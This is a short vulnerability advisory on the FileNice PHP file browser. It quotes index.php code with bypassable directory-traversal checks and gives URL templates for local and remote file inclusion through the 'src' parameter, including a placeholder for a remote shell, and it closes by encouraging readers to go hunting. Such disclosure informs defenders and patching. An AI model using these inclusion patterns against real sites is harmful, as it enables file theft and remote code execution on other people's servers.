FileNice File Browser RFI / LFI

`FileNice file browser RFI&LFI  
  
  
By: e.wiZz!  
  
#######Script site: http://filenice.com  
  
  
  
  
In the wild...  
  
###################################  
  
######Vulnerability:  
  
  
index.php  
  
...  
if(isset($_GET['view'])){  
if(substr($_GET['view'],0,2) != ".." && substr($_GET['view'],0,1) != "/" && $_GET['view'] != "./" && !stristr($_GET['view'], '../')){  
$out = new FNOutput;  
$out->viewFile($_GET['view']);  
}else{  
// someone is poking around where they shouldn't be  
echo("Don't hack my shit yo.");  
exit;   
}  
}else if(isset($_GET['src'])){  
if(substr($_GET['src'],0,2) != ".." && substr($_GET['src'],0,1) != "/" && $_GET['src'] != "./" && !stristr($_GET['src'], '../')){  
$out = new FNOutput;  
$out->showSource($_GET['src']);  
}else{  
// someone is poking around where they shouldn't be  
echo("Don't hack my shit yo.");  
exit;   
}  
  
...  
  
here is some security check for dir-traversal(can be bypassed),but there is no check for RFI,  
also you can see source of any file which is in parent directory:  
  
http://inthewild/path/index.php?src=[lfi] // index.php or whatever  
http://inthewild/path/index.php?src=[remote shell]  
  
btw. there is lot of other vulnerabilities...happy huntin' :)  
  
`